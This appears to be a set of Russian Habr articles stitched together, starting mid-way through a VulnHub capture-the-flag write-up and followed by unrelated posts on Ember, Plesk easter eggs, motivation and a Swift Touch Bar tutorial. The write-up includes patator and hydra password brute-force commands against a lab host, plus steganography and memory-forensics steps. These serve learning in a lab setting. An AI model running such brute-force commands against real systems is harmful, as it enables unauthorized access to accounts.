ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг: md5online любезно сообщил что это хеш от evidence . Flag#5 — «The Devil is in the Details — Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices» Рядом с флагом, можем наблюдать ещё одну подсказку это newevidence . А из описания флага следует, что нужно искать детали. В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список: Manhattan Heidelbery Great American Masterpiece Miami July 16, 2009 617468 inconsequential newevidence Hanratty После долгих поисков по этим ключевым словам, можно наткнуться на ссылку . Полистав её находим: Agent Carl Hanratty — герой произведения Catch Me If You Can — книга Miami — сцена 17 фильма Heidelberg — печатная машина из фильма Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное: Отлично мы нашли форму авторизации! У нас есть пользователь: Carl Hanratty , из названия флага можно предположить, что пароль, это что-то простое — личная информация. Приступим к перебору. Сгенерив словарь вероятных логинов запускаем patator , скармливаем ему набор словарей SecLists for item in $(find SecLists/ -name "*\.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done И спустя некоторое время получаем исходную комбинацию: INFO — 200 1462:676 0.011 | carl.hanratty:Grace | 37586 | HTTP/1.1 200 OK P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла. После авторизации попадаем на страницу: И перейдя по одной из ссылок находим флаг: flag{117c240d49f54096413dd64280399ea9} . После расшифровки, получаем слово: panam Flag#6 — «Where in the World is Frank?» «Где Фрэнк?» — хм… Вернувшись на сайт видим ссылку Possible Location , перейдя по которой, нам открывается картинка: Скрытый текст Картинка довольно объёмная, что наводит на мысль, о том что в ней тут есть что-то ещё sudo binwalk image.jpg В картинке у нас индексный файл MyISAM на 2Мб. В сети можно найти описание формата этого файла. Изучив его, понимаем, что индексы MySQL не могут содержать искомый нами флаг. Далее предположив, что мы имеем дело со стеганографией, посмотрим на вывод steghide . После выполнения команды, у нас появляется запрос пароля. steghide info image.jpg Хм, интересно, пробуем ввести panam получаем такой вывод: «image.jpg»: format: jpeg capacity: 230,1 KB Try to get information about embedded data? (y/n) y Enter passphrase: embedded file «flag.txt»: size: 71,0 Byte encrypted: rijndael-128, cbc compressed: yes Извлекаем файл, в файле находим очередной флаг flag{d1e5146b171928731385eb7ea38c37b8} и новую подсказку: clue=iheartbrenda Flag#7 — «Frank Was Caught on Camera Cashing Checks and Yelling — I’m The Fastest Man Alive!» Загуглив описание флага, можно найти отсылку к сериалу FLASH , а заглянув на вики узнаём следующее: Спойлер к фильму Frank calls him, attempting to apologize for duping Carl. Carl rejects his apology and tells him he will soon be caught, but laughs when he realizes Frank actually called him because he has no one else to talk to. Frank hangs up, and Carl continues to investigate, suddenly realizing (thanks to a waiter) that the name «Barry Allen» is from the Flash comic books and that Frank is actually a teenager. Frank, meanwhile, has expanded his con to include the identities of a doctor and lawyer. While playing Dr. Frank Conners, he falls in love with Brenda (Amy Adams). Но что могут значить эти подсказки? Вспомнив про забытый в самом начале ssh. Всё сразу начало сходиться. У нас есть 2 фразы iheartbrenda и ILoveFrance , и несколько новых имён: Генерим словарь Даём на вход скрипту пары Имя Фамилия Frank Conners Barry Allen Carl Hanratty #!/bin/bash import sys def Usage(): print('Usage: ./NtoL.py [namelist]') exit(0) if len(sys.argv) <= 1: Usage() nameList = open(sys.argv[1]).read().splitlines() out = open(sys.argv[1], 'w') for item in nameList: item = item.split(' ') out.write( '%s%s\n' %(item[0], item[1]) ) out.write( '%s.%s\n' %(item[0], item[1]) ) out.write( '%s%s\n' %(item[0][0], item[1]) ) out.write( '%s.%s\n' %(item[0][0], item[1]) ) out.write( ('%s%s\n' %(item[0], item[1])).lower() ) out.write( ('%s.%s\n' %(item[0], item[1])).lower() ) out.write( ('%s%s\n' %(item[0][0], item[1])).lower() ) out.write( ('%s.%s\n' %(item[0][0], item[1])).lower() ) out.close() На выходе получаем такой словарь логинов для перебора: CarlHanratty Carl.Hanratty CHanratty C.Hanratty carlhanratty carl.hanratty chanratty c.hanratty BarryAllen Barry.Allen BAllen B.Allen barryallen barry.allen ballen b.allen FrankConners Frank.Conners FConners F.Conners frankconners frank.conners fconners f.conners Отправляем всё в Hydra и результат не заставляет себя долго ждать: hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222 Входим, и сразу находим флаг: После расшифровки флага получаем: theflash Flag#8 — «Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!» В той же директории, в которой мы нашли флаг, есть подозрительный файл: security-system.data Скачиваем его себе, для дальнейшего анализа: scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./ И так перед нами архив, распаковываем его: $ file security-system.data security-system.data: Zip archive data, at least v2.0 to extract $ 7z x -oSS security-system.data $ cd ./SS $ ls security-system.data $ file security-system.data security-system.data: data Формат не определился, зато размер 1Гб. Binwalk какой-либо вразумительной информации не дал, поэтому попробуем volatility : volatility -f security-system.data imageinfo Volatility Foundation Volatility Framework 2.5 INFO: volatility.debug: Determining profile based on KDBG search… Suggested Profile(s): WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1: IA32PagedMemoryPae (Kernel AS) AS Layer2: FileAddressSpace (/CTF/VulnHub/SkyDog2016/SS/security-system.data) PAE type: PAE DTB: 0x33e000L KDBG: 0x80545b60L Number of Processors: 1 Image Type (Service Pack): 3 KPCR for CPU 0: 0xffdff000L KUSER_SHARED_DATA: 0xffdf0000L Image date and time: 2016-10-10 22:00:50 UTC+0000 Image local date and time: 2016-10-10 18:00:50 -0400 Отлично, перед нами дамп памяти ОС WinXP. Начнём извлекать из него полезную информацию, и начнём с модуля cmdline , так как он первый в списке, и наиболее интересен: volatility -f security-system.data --profile=WinXPSP2x86 cmdline cmdline Volatility Foundation Volatility Framework 2.5 ************************************************************************ System pid: 4 ************************************************************************ smss.exe pid: 332 Command line: \SystemRoot\System32\smss.exe ************************************************************************ csrss.exe pid: 560 Command line: C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16 ************************************************************************ winlogon.exe pid: 588 Command line: winlogon.exe ************************************************************************ services.exe pid: 664 Command line: C:\WINDOWS\system32\services.exe ************************************************************************ lsass.exe pid: 676 Command line: C:\WINDOWS\system32\lsass.exe ************************************************************************ vmacthlp.exe pid: 848 Command line: «C:\Program Files\VMware\VMware Tools\vmacthlp.exe» ************************************************************************ svchost.exe pid: 860 Command line: C:\WINDOWS\system32\svchost -k DcomLaunch ************************************************************************ svchost.exe pid: 944 Command line: C:\WINDOWS\system32\svchost -k rpcss ************************************************************************ svchost.exe pid: 1040 Command line: C:\WINDOWS\System32\svchost.exe -k netsvcs ************************************************************************ svchost.exe pid: 1092 Command line: C:\WINDOWS\system32\svchost.exe -k NetworkService ************************************************************************ svchost.exe pid: 1144 Command line: C:\WINDOWS\system32\svchost.exe -k LocalService ************************************************************************ explorer.exe pid: 1540 Command line: C:\WINDOWS\Explorer.EXE ************************************************************************ spoolsv.exe pid: 1636 Command line: C:\WINDOWS\system32\spoolsv.exe ************************************************************************ VGAuthService.e pid: 1900 Command line: «C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe» ************************************************************************ vmtoolsd.exe pid: 2012 Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe» ************************************************************************ wmiprvse.exe pid: 488 Command line: C:\WINDOWS\system32\wbem\wmiprvse.exe ************************************************************************ wscntfy.exe pid: 536 Command line: C:\WINDOWS\system32\wscntfy.exe ************************************************************************ alg.exe pid: 624 Command line: C:\WINDOWS\System32\alg.exe ************************************************************************ vmtoolsd.exe pid: 1352 Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe» -n vmusr ************************************************************************ ctfmon.exe pid: 1356 Command line: «C:\WINDOWS\system32\ctfmon.exe» ************************************************************************ CCleaner.exe pid: 1388 Command line: «C:\Program Files\CCleaner\CCleaner.exe» /MONITOR ************************************************************************ cmd.exe pid: 1336 Command line: «C:\WINDOWS\system32\cmd.exe» ************************************************************************ wuauclt.exe pid: 1884 Command line: «C:\WINDOWS\system32\wuauclt.exe» /RunStoreAsComServer Local\[410]SUSDS4ea33fbaffc4ad40bbd1dc3ac93ee5cb ************************************************************************ wuauclt.exe pid: 1024 Command line: «C:\WINDOWS\system32\wuauclt.exe» ************************************************************************ notepad.exe pid: 268 Command line: «C:\WINDOWS\system32\NOTEPAD.EXE» C:\Documents and Settings\test\Desktop\code.txt ************************************************************************ cmd.exe pid: 1276 Последним редактировался файл code.txt . Запустив следующий модуль cmdscan , находим ещё одну интересную запись: volatility -f security-system.data --profile=WinXPSP2x86 cmdscan cmdscan Volatility Foundation Volatility Framework 2.5 ************************************************** CommandProcess: csrss.exe Pid: 560 CommandHistory: 0x10186f8 Application: cmd.exe Flags: Allocated, Reset CommandCount: 2 LastAdded: 1 LastDisplayed: 1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x2d4 Cmd #0 @ 0x1024400: cd Desktop Cmd #1 @ 0x4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt После декодирования этой HEX последовательности, например тут , получаем последний флаг: flag{841dd3db29b0fbbd89c7b5be768cdc81} , в котором захеширована фраза: Two[space]little[space]mice Выполнив команду: volatility -f security-system.data --profile=WinXPSP2x86 notepad Можно получить дамп текста из notepad, и убедиться что это именно нужный нам флаг: notepad Volatility Foundation Volatility Framework 2.5 Process: 268 Text: ? Text: d Text: Text: ? Text: 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d CTF Пройден!
https://habrahabr.ru/post/317878/
habrahabr
Ember — Лучшие практики: избегайте утечки состояния внутрь фабрики
['ember', 'javascript', 'best practices']
В DockYard, мы много времени уделяем Ember, от построения web приложений, создания и поддержки аддонов, до вклада в экосистему Ember. Мы надеемся поделиться некоторым опытом, который мы приобрели,...
В DockYard, мы много времени уделяем Ember, от построения web приложений, создания и поддержки аддонов, до вклада в экосистему Ember. Мы надеемся поделиться некоторым опытом, который мы приобрели, через серию постов, которые будут посвящены лучшим практикам Ember, паттернам, антипаттернам и распространённым ошибкам. Это первый пост из данной серии, так что давайте начнём, вернувшись к основам Ember.Object . Ember.Object это одна из первых вещей, которую мы узнаём, как разработчики Ember, и неудивительно. Практически каждый объект, с которым мы работаем в Ember, будь то маршрут (Route), компонент (Component), модель (Model), или сервис (Service), наследуется от Ember.Object . Но время от времени, я вижу как его неправильно используют: export default Ember.Component.extend({ items: [], actions: { addItem(item) { this.get('items').pushObject(item); } } }); Для тех, кто сталкивался с этим раньше, проблема очевидна. Ember.Object Если вы посмотрите API и отмените выбор всех Inherited (Наследуемых), Protected (Защищённых), и Private (Приватных) опций, вы увидите, что Ember.Object не имеет собственных методов и свойств. Исходный код не может быть короче. Это буквального расширение Ember CoreObject , с примесью Observable : var EmberObject = CoreObject.extend(Observable); CoreObject обеспечивает чистый интерфейс для определения фабрик или классов . Это, по существу, абстракция вокруг того, как вы обычно создаёте функцию конструктор, определяя методы и свойства на прототипе, а затем создавая новые объекты с помощью вызова new SomeConstructor() . За возможность вызывать методы суперкласса, используя this._super() , или объединять набор свойств в класс через примеси , вы должны благодарить CoreObject . Все методы, которые часто приходиться использовать с Ember objects, такие как init , create , extend , или reopen , определяются там же. Observable это примесь (Mixin), которая позволяет наблюдать за изменениями свойств объекта, а также в момент вызова get и set . При разработке Ember приложений, вам никогда не приходиться использовать CoreObject . Вместо этого вы наследуете Ember.Object . В конце концов, в Ember самое важное реакция на изменения , так что вам нужны методы с Observable для обнаружения изменения значений свойств. Объявление нового класса Вы можете определить новый тип наблюдаемого объекта путем расширения Ember.Object : const Post = Ember.Object.extend({ title: 'Untitled', author: 'Anonymous', header: computed('title', 'author', function() { const title = this.get('title'); const author = this.get('author'); return `"${title}" by ${author}`; }) }); Новые объекты типа Post теперь могут быть созданы путём вызова Post.create() . Для каждой записи будут наследоваться свойства и методы, объявленные в классе Post : const post = Post.create(); post.get('title'); // => 'Untitled' post.get('author'); // => 'Anonymous' post.get('header'); // => 'Untitled by Anonymous' post instanceof Post; // => true Вы можете изменить значения свойств и дать посту название и имя автора. Эти значения будут установлены на экземпляре, а не на классе, поэтому не повлияют на посты, которые будут созданы. post.set('title', 'Heads? Or Tails?'); post.set('author', 'R & R Lutece'); post.get('header'); // => '"Heads? Or Tails?" by R & R Lutece' const anotherPost = Post.create(); anotherPost.get('title'); // => 'Untitled' anotherPost.get('author'); // => 'Anonymous' anotherPost.get('header'); // => 'Untitled by Anonymous' Поскольку обновление свойств таким образом не влияет на другие инстансы, легко подумать, что все операции, выполненные в примере безопасны. Но остановимся на этом этом немного больше. Утечка состояния внутрь класса Пост может иметь дополнительный список тегов, так что мы можем создать свойство с именем tags и по умолчанию это пустой массив. Новые теги могут быть добавлены при помощи вызова метода addTag() . const Post = Ember.Object.extend({ tags: [], addTag(tag) { this.get('tags').pushObject(tag); } }); const post = Post.create(); post.get('tags'); // => [] post.addTag('constants'); post.addTag('variables'); post.get('tags'); // => ['constants', 'variables'] Похоже, что это работает! Но проверим, что происходит, после создания второго поста: const anotherPost = Post.create(); anotherPost.get('tags'); // => ['constants', 'variables'] Даже если цель состояла в том, чтобы создать новый пост с пустыми тегами (предполагаемый по умолчанию), пост был создан с тегами из предыдущего поста. Поскольку новое значение для свойства tags не было установлено, а просто мутировало основной массив. Так мы эффективно прокинули состояние в класс Post , которое затем используется на всех экземплярах. post.get('tags'); // => ['constants', 'variables'] anotherPost.get('tags'); // => ['constants', 'variables'] anotherPost.addTag('infinity'); // => ['constants', 'variables', 'infinity'] post.get('tags'); // => ['constants', 'variables', 'infinity'] Это не единственный сценарий, при котором вы можете спутать состояние экземпляра и состояние класса, но это, конечно, тот, который встречается чаще. В следующем примере, вы можете установить значение по умолчанию для createdDate для текущей даты и времени, передав new Date() . Но new Date() вычисляется один раз, когда определяется класс. Поэтому независимо от того, когда вы создаете новые экземпляры этого класса, все они будут иметь одно и то же значение createdDate : const Post = Ember.Object.extend({ createdDate: new Date() }); const postA = Post.create(); postA.get('createdDate'); // => Fri Sep 18 2015 13:47:02 GMT-0400 (EDT) // Sometime in the future... const postB = Post.create(); postB.get('createdDate'); // => Fri Sep 18 2015 13:47:02 GMT-0400 (EDT) Как держать ситуацию под контролем? Для того, чтобы избежать совместного использования меток между постами, свойство tags необходимо будет установить, во время инициализации объекта: const Post = Ember.Object.extend({ init() { this._super(...arguments); this.tags = []; } }); Так как init вызывается всякий раз во время вызова Post.create() , каждый пост экземпляра всегда получит свой собственный массив tags . Кроме того, можно сделать tags вычисляемым свойством (computed property): const Post = Ember.Object.extend({ tags: computed({ return []; }) }); Вывод Теперь очевидно, почему вы не должны писать таких компонентов, как в примере из начала этого поста. Даже если компонент появляется только один раз на странице, когда вы выходите из маршрута, только экземпляр компонента уничтожается, а не фабрика. Так что когда вы вернётесь, новый экземпляр компонента будет иметь следы предыдущего посещения страницы. Эта ошибка может встречаться при использовании примесей. Несмотря на то, что Ember.Mixin это не Ember.Object , объявленные в нём свойства и методы, примешиваюся к Ember.Object . Результат будет тем же: вы можете в конечном итоге разделить состояние между всеми объектами, которые используют примесь.
https://habrahabr.ru/post/318096/
habrahabr
Christmas Easter eggs
['новый год', 'рождество', 'пасхальные яйца', 'easter eggs', 'christmas', 'new year', 'design']
В преддверии Нового года и Рождества (или Рождества и Нового года) мы решили порадовать наших пользователей соответствующей темой оформления нашего продукта. Как посмотреть/установить?Для начала...
В преддверии Нового года и Рождества (или Рождества и Нового года) мы решили порадовать наших пользователей соответствующей темой оформления нашего продукта. Как посмотреть/установить? Для начала вам потребуется установить наше расширение Skins and Color Schemes, затем зайти на страницу расширения и щёлкнуть по весёлому банеру: Скин доступен в версии Plesk Onyx 17.0 (кстати, переходите на свежую версию). В праздничный скин мы добавили маленькую пасхалку: Очевидно, вы легко догадаетесь как заставить оленей нести Санту / Деда мороза / человека с белой бородой в красной шапке по экрану. Исторически так сложилось, что в разные моменты своего развития Plesk приобрёл ещё пару пасхальных яиц, о которых на самом деле знает не так много людей. Сегодня мы решили поделиться с хабро-аудиторией местами их расположения. Не Doom'ом единым Если в разделе License Management вспомнить старую добрую хитрость из Doom'а, можно ненадолго получить абсолютную власть над продуктом увидеть: Работает даже в старых версиях Plesk. Кто эти люди? Начиная с Plesk Onyx 17.0 можно заглянуть за кулисы и увидеть кто же делает Plesk: Работает не во всех браузерах, но желающие, наверняка, найдут способ повторить фокус. P. S.: Поздравляем всех читателей с наступающим Новым годом и Рождеством! … или Рождеством и Новым годом! :-)
https://habrahabr.ru/company/plesk/blog/318100/
habrahabr
Как мотивировать себя, чтобы выполнить отложенные задачи
['мотивация', 'продуктивность', 'целеполагание']
Вы откладываете задачу, когда боитесь ее выполнить. Наверное, она кажется вам тяжелой и утомительной. Тем не менее, в большинстве случаев вы можете наслаждаться процессом работы. Чтобы получить...
Вы откладываете задачу, когда боитесь ее выполнить. Наверное, она кажется вам тяжелой и утомительной. Тем не менее, в большинстве случаев вы можете наслаждаться процессом работы. Чтобы получить необходимую мотивацию, вспомните о том, как вы себя чувствуете во время выполнения задачи. Две стороны мотивации Сайт Barking Up the Wrong Tree (его название переводится как «идти по ложному пути», прим. пер.) объясняет, что существуют всего два способа восприятия любой задачи. Первый способ — «взгляд снаружи» , или как задача выглядит со стороны наблюдателя, а второй — «взгляд изнутри» , или как она выглядит глазами исполнителя. Мы склонны забывать о последнем способе, даже если делали свою работу раньше. Например, сторонний наблюдатель воспринимает стрижку газона как тяжелую работу, в то время как вам нравится слушать музыку и при этом тренироваться на свежем воздухе. Задача не выглядит такой уж плохой, как только мы беремся за ее выполнение. Если вы изо всех сил стараетесь найти необходимую мотивацию для выполнения работы, посмотрите на нее своими глазами: Есть большая разница между «взглядом изнутри» и «взглядом снаружи». Когда мы оцениваем задачу (даже если выполняли ее раньше), то переходим на сторону наблюдателя. Мы забываем об эмоциональной составляющей. И то, что мы так любили делать, теперь кажется тяжелой ношей. Мне часто приходится читать несколько книг во время подготовки к интервью. И иногда моя рефлекторная реакция вызвана взглядом со стороны: «Я должен прочитать 450 страниц, прежде чем поговорить с этим человеком?! Тьфу». Ирония в том, что я люблю читать, когда нахожусь в середине процесса. Для меня это состояние «потока». Если я не напомню себе о тех положительных эмоциях, которые испытываю во время чтения, то буду прокрастинировать. Со стороны это смотрится как «еще одна тяжелая работа, которую я должен выполнить». Конечно, есть и такие задачи, которые с обеих сторон выглядят ужасно. На ум приходит очистка кошачьего туалета. Хотя, даже в такой ситуации вы все еще можете получить некоторое удовлетворение от проделанной работы, а не позволить ей сидеть на вашей шее. Знайте, что простой способ начать — изменить свой взгляд на задачу. Когда внешняя мотивация приносит пользу? Некоторые исследования показали, что избыточное количество внешнего вознаграждения при наличии внутреннего может привести к снижению внутренней мотивации — явление, известное как «эффект избыточного оправдания». В одном исследовании детей вознаграждали за игру, к которой они успели проявить интерес и вскоре они стали менее заинтересованы в ней. Дети начали воспринимать игру как работу, за которую им «платили». В некоторых ситуациях внешняя мотивация может быть полезной, например: — внешние награды могут вызвать интерес и участие человека в той сфере работы, в которой он не был первоначально заинтересован; — внешние награды можно использовать, чтобы мотивировать человека к приобретению новых навыков или знаний. После того, как эти ранние навыки усвоены, он может стать более внутренне мотивирован и продолжить свою деятельность; — внешние награды также могут быть источником обратной связи, что даст человеку знать, когда его производительность достигла необходимого для закрепления стандарта. Внешних мотиваторов следует избегать в ситуациях, когда человек уже нашел полезную для себя деятельность. В этом случае внешнее поощрение может трансформировать работу из приносящей удовольствие в настоящую пытку. Всегда ли необходимо себя мотивировать? Большинство людей предполагает, что внутренняя мотивация подходит для любой ситуации, но это не всегда так. В некоторых случаях люди просто не имеют никакого внутреннего желания заниматься определенным делом. Чрезмерное внешнее поощрение имеет свои недостатки, но при правильном использовании оно становится полезным инструментом. Например, внешняя мотивация может быть использована, чтобы заставить человека завершить рабочее или домашнее задание, к которому он не испытывает никакого внутреннего интереса. Мотивация целиком индивидуальна для каждого человека. Это самый мощный инструмент для достижения целей, но лишь в том случае, если он зарождается в сердце. То, что движет вами на пути к цели, должно принадлежать именно вам. Только вы можете иметь полное право собственности на тот самый мотиватор. Вы должны работать на исполнение цели, потому что именно ВЫ ее хотите и это ВАША цель. Только в этом случае ваше упорство и энтузиазм будут намного сильнее и крепче, чем если бы вы работали в угоду кому-то еще. Внутренняя и внешняя мотивация Самый первый вопрос, который вы должны задать себе: «Для КОГО я это делаю?» Если ответ «сделать счастливыми других людей» или «заставить их любить или больше гордиться вами», то вы получили неправильный источник мотивации! Много раз я сталкивался с неправильной мотивацией при выполнении непосильных на первый взгляд проектов. Я просто не понимал, что внешние факторы, внешняя мотивация и другие люди не помогут мне достичь поставленных целей. Необходимо нечто большее. Сильнейший толчок вперед возможен лишь в том случае, когда только ВЫ хотите достичь свою цель. Звучит слишком просто? Мне тоже сначала так показалось. Конечно, одной внутренней мотивации может быть недостаточно. Часто нужен кто-нибудь, кто смог бы подтолкнуть тебя в самый трудный момент, заново вдохновить и поддержать. Таким помощником для меня стал сервис достижения целей SmartProgress . Здесь можно не только делиться своим опытом по преодолению препятствий на пути к желаемому, но и найти и почитать истории других людей, а также подключить опытного наставника, который облегчит задачу в два, а то и три раза. Если вы также испытываете трудности с мотивацией, то не поленитесь зайти на их сайт и опубликовать свою первую цель. Поверьте, в век современных технологий исполнение желаемого еще никогда не было таким легким.
https://habrahabr.ru/company/smartprogress/blog/317778/
habrahabr
Внедрение NSTouchBar на Swift
['swift', 'mac book pro', 'apple', 'разработка приложений', 'mac os x', 'touchbar', 'тачбар', 'разработка программного обеспечения']
Недавно Apple представила миру новую линейку MacBook Pro. И одной из особенностей свежей версии стало то, что верхний ряд системных кнопок в ней удален – вернее, заменен на мультитач экран....
Недавно Apple представила миру новую линейку MacBook Pro. И одной из особенностей свежей версии стало то, что верхний ряд системных кнопок в ней удален – вернее, заменен на мультитач экран. Разработчикам это нововведение должно быть интересно в первую очередь, ведь на панели выделена область, которую можно использовать в собственных приложениях. Компания Apple даже предоставила API для ее использования. В этой статье мы расскажем и покажем, как осваивали возможности NSTouchBar. Полученные знания мы впоследствии применили в апдейте MaCleaner . Для начала давайте разберемся, что вообще представляет собой NSTouchBar. Application Region – это, собственно, та самая часть, которая отводится под нужды приложения. Именно здесь будет отображаться все, что необходимо для корректной его работы. Control Strip – системная панель. Сюда разработчику вход закрыт – ни помещать свои объекты, ни как-то еще ее модифицировать мы не можем. Здесь находятся кнопки, которые раньше были на месте NSTouchBar – изменение яркости, громкости и другие. System Button – системная кнопка Для того чтобы внедрять поддержку NSTouchBar в свои проекты, необязательно иметь новенький MacBookPro с тачбаром. В Xcode есть его симулятор, который вызывается через Window > Show Touch Bar. Однако воспользоваться им вы сможете только при условии, что у вашего Xcode версия минимум 8.1, а у системы – 10.12.1, причем с билдом не ниже 16B2657. Итак, вы усердно трудились и написали чудесное приложение – оно висит в статус баре, показывает во всплывающем окне системное оформление рабочего стола и меняет его на тот прикид, который выберет пользователь. Выглядит все это так: Если вы загорелись этим чудесным приложением – можете скачать версию без NSTouchBar здесь и работать над ним вместе с нами. Теперь введем в наш проект поддержку NSTouchBar. Для начала подключим NSTouchBar и выведем в нем “Hello World!”. Добавим в наш MainPopoverController следущее расширение: @available(OSX 10.12.1, *) extension MainPopoverController : NSTouchBarDelegate { override open func makeTouchBar() -> NSTouchBar? { let touchBar = NSTouchBar() touchBar.delegate = self touchBar.customizationIdentifier = NSTouchBarCustomizationIdentifier("My First TouchBar") touchBar.defaultItemIdentifiers = [NSTouchBarItemIdentifier("HelloWorld")] touchBar.customizationAllowedItemIdentifiers = [NSTouchBarItemIdentifier("HelloWorld")] return touchBar } } В методе makeTouchBar() мы создаем объект NSTouchBar и указываем его делегат. Каждый NSTouchBar и каждый NSTouchBarItem должны иметь уникальные идентификаторы. Поэтому мы прописываем идентификатор для нашего NSTouchBar, затем указываем идентификаторы объектов, которые в него поместим, и, наконец, задаем порядок отображения объектов. Теперь добавим метод, который будет заполнять наш NSTouchBar объектами: func touchBar(_ touchBar: NSTouchBar, makeItemForIdentifier identifier: NSTouchBarItemIdentifier) -> NSTouchBarItem? { switch identifier { case NSTouchBarItemIdentifier("HelloWorld"): let customViewItem = NSCustomTouchBarItem(identifier: identifier) customViewItem.view = NSTextField(labelWithString: "Hello World!") return customViewItem default: return nil } } В этом методе заполнять NSTouchBar можно как угодно. Для данного примера мы создали NSCustomTouchBarItem и поставили в него NSTextField с текстом “Hello World!”. Теперь пришло время запустить проект и наслаждаться нашим эксклюзивным NSTouchBar! Запускаем – и… Где же наш “Hello World!”? А дело вот в чем. Для того, чтобы мы могли сгенерировать NSTouchBar в MainPopoverController, хотя бы один объект в поповере должен получить фокус. В нашем поповере есть два объекта – сам NSView и CollectionView. У NSView (и CollectionView) acceptsFirstResponder по умолчанию всегда возвращает false – таким образом, когда мы запускаем приложение, фокус не помещается ни на один объект, а значит, и NSTouchBar не генерируется. Мы выйдем из положения следующим образом: создадим свой NSView и переопределим acceptsFirstResponder так, чтобы он возвращал true. class MainPopoverView: NSView { override var acceptsFirstResponder: Bool { get { return true } } } Попробуем запустить приложение после использования этого класса в нашем поповере и посмотрим, что получилось: Наш NSTouchBar наконец-то явил себя миру и даже с этим миром поздоровался. Теперь нам надо реализовать NSTouchBar применимо к функционалу нашего приложения. Мы хотим поместить в NSTouchBar все картинки из нашей коллекции с тем, чтобы при клике на картинку приложение ставило ее фоном для рабочего стола. Так как для всей галереи в NSTouchBar места не хватит, будем применять прокручиваемый NSScrubber. Для начала изменим метод, заполняющий наш NSTouchBar объектами, чтобы он использовал NSScrubber. func touchBar(_ touchBar: NSTouchBar, makeItemForIdentifier identifier: NSTouchBarItemIdentifier) -> NSTouchBarItem? { switch identifier { case NSTouchBarItemIdentifier("HelloWorld"): let scrubberItem = NSCustomTouchBarItem(identifier: identifier) let scrubber = NSScrubber() scrubber.scrubberLayout = NSScrubberFlowLayout() scrubber.register(NSScrubberImageItemView.self, forItemIdentifier: "ScrubberItemIdentifier") scrubber.mode = .free scrubber.selectionBackgroundStyle = .roundedBackground scrubber.delegate = self scrubber.dataSource = self scrubberItem.view = scrubber return scrubberItem default: return nil } } Для того чтобы заполнять NSScrubber объектами, необходимо подписаться на NSScrubberDataSource; для обработки нажатия на определенный объект из него – на NSScrubberDelegate, а для того, чтобы указать размер объекта (а в NSTouchBar максимальная высота объекта 30, иначе объект будет обрезаться) – на NSScrubberFlowLayoutDelegate. В итоге добавим следующее расширение для нашего MainPopoverController: @available(OSX 10.12.1, *) extension MainPopoverController: NSScrubberDataSource, NSScrubberDelegate, NSScrubberFlowLayoutDelegate { func numberOfItems(for scrubber: NSScrubber) -> Int { return wardrobe.wallpapers.count } func scrubber(_ scrubber: NSScrubber, viewForItemAt index: Int) -> NSScrubberItemView { let itemView = scrubber.makeItem(withIdentifier: "ScrubberItemIdentifier", owner: nil) as! NSScrubberImageItemView itemView.image = wardrobe.wallpapers[index].picture return itemView } func scrubber(_ scrubber: NSScrubber, didSelectItemAt index: Int) { scrubber.selectedIndex = -1 if let screen = NSScreen.main() { do { try NSWorkspace.shared().setDesktopImageURL( wardrobe.wallpapers[index].url, for: screen, options: [:]) } catch { print(error) } } } func scrubber(_ scrubber: NSScrubber, layout: NSScrubberFlowLayout, sizeForItemAt itemIndex: Int) -> NSSize { return NSSize(width: 60, height: 30) } } Первый метод возвращает количество объектов в NSScrubber. Второй – генерирует объект для определенной позиции в NSScrubber (в нашем случае это картинки для рабочего стола). Третий – обрабатывает нажатие на объект в NSScrubber и ставит выбранную картинку на рабочий стол. Ну а четвертый метод возвращает размеры объекта в NSScrubber. Теперь при запуске наш NSTouchBar имеет следующий вид: Теперь у нас в приложении есть рабочий NSTouchBar , который может менять оформление рабочего стола. По такому же алгоритму можно реализовать поддержку тачбара и в более сложных проектах, чем мы и планируем заняться в будущем. Спасибо за внимание и удачи в работе с новой диковинкой от Apple!
https://habrahabr.ru/company/everydaytools/blog/317232/
habrahabr
Нога в ногу с телекомом
['телекоммуникации', 'компании', 'провайдеры интернет', 'связь', 'рынок телекоммуникаций', 'операторы связи', 'оптоволокно', 'оптовый интернет-магазин']
Это своего рода пост а-ля “привет Гиктаймс”, но несколько большим объемом. Раз уж мы пришли сюда, то следовало бы познакомиться прежде чем наладить плодотворное общение. Под катом история...
